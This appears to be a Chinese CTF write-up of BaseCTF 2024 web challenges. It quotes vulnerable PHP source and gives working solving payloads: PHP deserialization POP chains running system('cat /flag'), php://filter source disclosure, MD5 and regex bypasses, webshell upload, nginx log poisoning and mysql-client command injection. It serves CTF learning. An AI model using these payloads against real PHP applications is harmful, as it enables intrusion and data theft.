basectf2024web部分wp

A Dark Room:

源码;

Aura 酱的礼物:

<?php highlight_file(__FILE__); // Aura 酱,欢迎回家~ // 这里有一份礼物,请你签收一下哟~ $pen = $_POST['pen']; if (file_get_contents($pen) !== 'Aura') {   die('这是 Aura 的礼物,你不是 Aura!'); } // 礼物收到啦,接下来要去博客里面写下感想哦~ $challenge = $_POST['challenge']; if (strpos($challenge, 'http://jasmineaura.github.io') !== 0) {   die('这不是 Aura 的博客!'); } $blog_content = file_get_contents($challenge); if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false) {   die('请去博客里面写下感想哦~'); } // 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~ $gift = $_POST['gift']; include($gift); 

第一步:

if (file_get_contents($pen) !== ‘Aura’) { die(‘这是 Aura 的礼物,你不是 Aura!’); } 使用data伪协议

pen=data://text/plain;base64,QXVyYQ==

第二步:

$challenge = $_POST['challenge']; if (strpos($challenge, 'http://jasmineaura.github.io') !== 0) {   die('这不是 Aura 的博客!'); } 

ssrf的题,进行@截断

第三步:

if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false) {   die('请去博客里面写下感想哦~'); } // 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~ $gift = $_POST['gift']; include($gift); 

使用filter协议读取源代码

gift=php://filter/convert.base64-encode/resource=flag.php

然后base64解密就行了

ez_ser:

<?php highlight_file(__FILE__); error_reporting(0); class re{   public $chu0;   public function __toString(){     if(!isset($this->chu0)){       return "I can not believes!";     }     $this->chu0->$nononono;   } } class web {   public $kw;   public $dt;   public function __wakeup() {     echo "lalalla".$this->kw;   }   public function __destruct() {     echo "ALL Done!";   } } class pwn {   public $dusk;   public $over;   public function __get($name) {     if($this->dusk != "gods"){       echo "什么,你竟敢不认可?";     }     $this->over->getflag();   } } class Misc {   public $nothing;   public $flag;   public function getflag() {     eval("system('cat /flag');");   } } class Crypto {   public function __wakeup() {     echo "happy happy happy!";   }   public function getflag() {     echo "you are over!";   } } $ser = $_GET['ser']; unserialize($ser); ?> 
<?php

class re{
public $chu0;
}

class web {
public $kw;
public $dt;

}

class pwn {
public $dusk;
public $over;
}

class Misc {
public $nothing;
public $flag;
}
$a = new web();
$b = new re();
$c = new pwn();
$d = new Misc();
$a -> kw = $b;
$b -> chu0 = $c;
$c -> dusk = 'gods';
$c -> over = $d;
echo serialize($a);

直接出来了;

md5绕过欸:

<?phphighlight_file(__FILE__);error_reporting(0);require 'flag.php';if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){  $name = $_GET['name'];  $name2 = $_GET['name2'];  $password = $_POST['password'];  $password2 = $_POST['password2'];  if ($name != $password && md5($name) == md5($password)){    if ($name2 !== $password2 && md5($name2) === md5($password2)){      echo $flag;    }    else{      echo "再看看啊,马上绕过嘞!";    }  }  else {    echo "错啦错啦";  }}else {  echo '没看到参数呐';}

一个弱比较一个强比较

/?name=QNKCDZO&name2[]=1
password=240610708&password2[]=2

flag直接读取不就行了?:

学会了新东西:

K=DirectoryIterator&W=/secret/

这个意思是调用DirectoryIterator这个函数进行遍历secret这个文件夹

SplFileObject:SplFileObject 提供了面向对象的方式来读取、写入和操作文件

然后伪协议读取就行了:J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php

一起吃豆豆:

根据提示查看前端js,发现有base64密码,直接解密出来

喵喵喵´•ﻌ•`:

小小RCE 直接system(cat /flag);

你听不到我的声音:

shell_exec($_POST['cmd']);

这个是不会回显的,然后需要用其他方式进行外带比如重定向

cmd=cat /flag>1.txt

upload:

直接传小🐎就行了,然后蚁剑连接就行了 Ez

RCEisamazingwithspace:

空格绕过。简单:cmd=tac${IFS}/flag

Really EZ POP :

<?php highlight_file(__FILE__); class Sink {   private $cmd = 'echo 123;';   public function __toString()   {     eval($this->cmd);   } } class Shark {   private $word = 'Hello, World!';   public function __invoke()   {     echo 'Shark says:' . $this->word;   } } class Sea {   public $animal;   public function __get($name)   {     $sea_ani = $this->animal;     echo 'In a deep deep sea, there is a ' . $sea_ani();   } } class Nature {   public $sea;   public function __destruct()   {     echo $this->sea->see;   } } if ($_POST['nature']) {   $nature = unserialize($_POST['nature']); } 

这个知道怎么来的。又学了一招:Setword 方法用于设定 $word 属性的值

法1:

<?php
class Sink
{
private $cmd = 'system("ls");';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function Setword($setword){
$this->word =$setword;
}
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
$a->sea->animal->Setword(new Sink());
echo urlencode(serialize($a));

法2:

通过使用 PHP 的反射机制访问和修改类的私有属性:

<?php
class Sink
{
private $cmd = 'system("tac /flag");';
public function __toString() // 当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
{
eval($this->cmd); // 1 system("ls");
}
}

class Shark
{
private $word;
public function __invoke() // 对象被当做函数进行调用时触发(找有括号的类似$a()这种)
{
echo 'Shark says: ' . $this->word; // 2 Sink
}
}

class Sea
{
public $animal;
public function __get($name) // 调用类中不存在变量时触发(找有连续箭头的 this->a->b)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani(); // 3 Shark
}
}

class Nature
{
public $sea;
```



public function __destruct() // 对象被销毁时自动触发,也就是我们的链头了
{
echo $this->sea->see; // 4 Sea
}

}

// 按照 1 2 3 4 的顺序编写 exp
$s1 = new Sink();
$s2 = new Shark();

$reflection = new ReflectionClass($s2);
$property = $reflection->getProperty('word');
$property->setAccessible(true);
$property->setValue($s2, $s1);

$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;

echo urlencode(serialize($n));

?>

法3:

通过构造__construct()魔术方法访问 类CLASS

<?php
class Sink
{
private $cmd = 'system("cat /flag");';

}

class Shark
{
private $word = 'Hello, World!';
public function __construct(){
$this->word = new Sink();
}
}

class Sea
{
public $animal;
}

class Nature
{
public $sea;

}
$a = new Nature();
$b = new Sea();
$c = new Shark();
$a -> sea =$b;
$b -> animal = $c;
$str = serialize($a);
echo $str;?>

滤个不停:

<?php highlight_file(__FILE__); error_reporting(0); $incompetent = $_POST['incompetent']; $Datch = $_POST['Datch']; if ($incompetent !== 'HelloWorld') {   die('写出程序员的第一行问候吧!'); } //这是个什么东东??? $required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o']; $is_valid = true; foreach ($required_chars as $char) {   if (strpos($Datch, $char) === false) {     $is_valid = false;     break;   } } if ($is_valid) {   $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];   foreach ($invalid_patterns as $pattern) {     if (stripos($Datch, $pattern) !== false) {       die('此路不通换条路试试?');     }   }    include($Datch); } else {   die('文件名不合规 请重试'); } ?>

这个先看看incompetent=HelloWorld这个。然后再分析代码:

$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o']; $is_valid = true; foreach ($required_chars as $char) {   if (strpos($Datch, $char) === false) {     $is_valid = false;     break;   } } if ($is_valid) {   $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];   foreach ($invalid_patterns as $pattern) {     if (stripos($Datch, $pattern) !== false) {       die('此路不通换条路试试?');     }   }    include($Datch); 

让Datch里面存在’s’, ‘e’, ‘v’, ‘a’, ‘n’, ‘x’, ‘r’, ‘o’,然后过滤了一些伪协议,但是存在include,可以想想日志注入,哎,正好有/var,什么的

Datch=/var/log/nginx/access.log 在UA头注入,然后rce就行了,或者蚁剑连接;

ez_php_jail:

<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}

if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>

这个本来我是直接传的,发现使用一些其他的RCE手段都传不上去,然后看了看wp,知道了一个知识点:

当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这
个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。

于是

?Jail[by.Happy=highlight_file(glob("/f*")[0]);

解释:

glob 是 PHP 中的一个函数,它的作用是按照指定的模式来查找文件路径名glob 是 PHP 中的一个函数,它的作用是按照指定的模式来查找文件路径名
glob("/f*")[0]:
这是对 glob("/f*") 返回的数组进行索引操作,选取数组里的第一个元素,也就是根目录下文件名以 f 开头的第一个文件的路径。

HTTP 是什么呀:

一步步来就ok

1z_php:

<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>
114514到底是啥意思嘞?。?

e_m.p这个和前面的一样应该,直接转义成为e[m.p,然后绕过intval:让他等于114544.1

而a,b,c的话和之前学的php特性差不多,直接使用原生类:a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString

然后try的话绕过两个正则用到回溯次数绕过,就是构造:一万个1.’HACKER’,脚本:

import requests
res = requests.post("http://gz.imxbt.cn:20040/index.php?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString",data = {"try":"-"*1000001+"HACKER"})
print(res.text)

RCE or Sql Inject

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

提示:

R! C! E!
mysql远程连接和命令行操作是不是有些区别呢
输个问号看看?

额,在自己的mysql里面测试打?,发现

system    (\!) Execute a system shell command.

意思是使用system关键字或!可以直接通过mysql命令行执行一个system shell命令,ok,那就简单了

?sql=%0asystem ls /发现没有flag 之前学的env可以返回环境变量,
?sql=%0asystem env这个就出来了